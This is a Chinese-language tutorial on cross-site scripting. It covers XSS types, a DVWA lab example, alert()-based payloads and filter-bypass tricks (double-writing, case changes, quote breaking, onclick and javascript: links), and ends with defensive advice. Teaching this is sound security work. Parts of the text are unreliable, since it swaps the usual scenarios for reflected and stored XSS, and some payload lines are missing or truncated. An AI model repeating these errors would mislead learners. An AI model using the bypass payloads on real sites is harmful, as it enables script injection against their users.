Web安全 | XSS跨站脚本攻击漏洞
字数 1027 2025-08-19 12:42:11
XSS跨站脚本攻击漏洞详解
一、XSS基本概念
XSS(Cross Site Scripting,跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。
关键特征:
- 通过PHP的输出函数将Javascript代码输出到HTML页面中
- 在用户本地浏览器执行
- 漏洞关键点:寻找参数未过滤的输出函数
常见PHP输出函数:
echo, printf, print, print_r, sprintf, die, var_dump, var_export
二、XSS分类
1. 反射型XSS
- 特点:不持久化,仅对当前访问有效
- 常见场景:留言板、用户发帖、用户回帖
- 数据流:经过后端但不过数据库
2. 存储型XSS
- 特点:持久化,存储在服务器上
- 常见场景:URL、搜索框、GET/POST参数
- 数据流:经过后端同时经过数据库
3. DOM型XSS
- 特点:基于DOM文档对象模型
- 关键特征:不与后台服务器产生数据交互
- 形成方式:通过前端的DOM节点形成的漏洞
三、XSS Payload构造与绕过技术
1. 反射型XSS Payload示例
- 常规Payload:
<script>alert(1)</script>
- 双写绕过:
<sc<script>alert(1)</script>
- 大小写绕过(随机选择改写):
<Script>alert(1)</script>
- ``绕过(过滤掉了
<>和script):
2. 存储型XSS实战技巧
- 当输入框长度受限时:
- 打开开发者工具(F12)
- 定位到输入框元素
- 修改
maxlength属性值 - 输入更长的恶意代码
3. DOM型XSS绕过示例
以DVWA靶场Medium级别为例:
- 原始URL参数:
default=English - 尝试替换为JS语句但被过滤
- 查看源代码发现过滤逻辑:
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
- 有效Payload:
></option></select>
四、针对各种过滤的绕过方法总结
1. 未过滤任何参数
<script>alert()</script>
2. Payload被引号包裹
例如:
<input name=keyword value="<script>alert()</script>">
- 闭合标签和字符串:
"><script>alert()</script>"
- 添加属性和方法:
" onclick=alert() type="text"
3. Payload被更改(如script→scr_ipt)
- 使用a标签绕过:
"><a href=javascript:alert()>点击</a>
4. Payload被更改但不要求大小写
Onclick=alert() type="text"
5. Payload关键字被清除
- 双写绕过技术:
<scrscriptipt>alert()</sscriptcript>
五、防御建议
- 对所有用户输入进行严格的过滤和转义
- 使用Content Security Policy (CSP)
- 对输出到HTML的内容进行HTML编码
- 对输出到JavaScript的内容进行JavaScript编码
- 对输出到URL的内容进行URL编码
- 使用HttpOnly标志限制Cookie访问
通过理解这些XSS攻击技术和防御方法,开发者可以更好地保护Web应用免受跨站脚本攻击的威胁。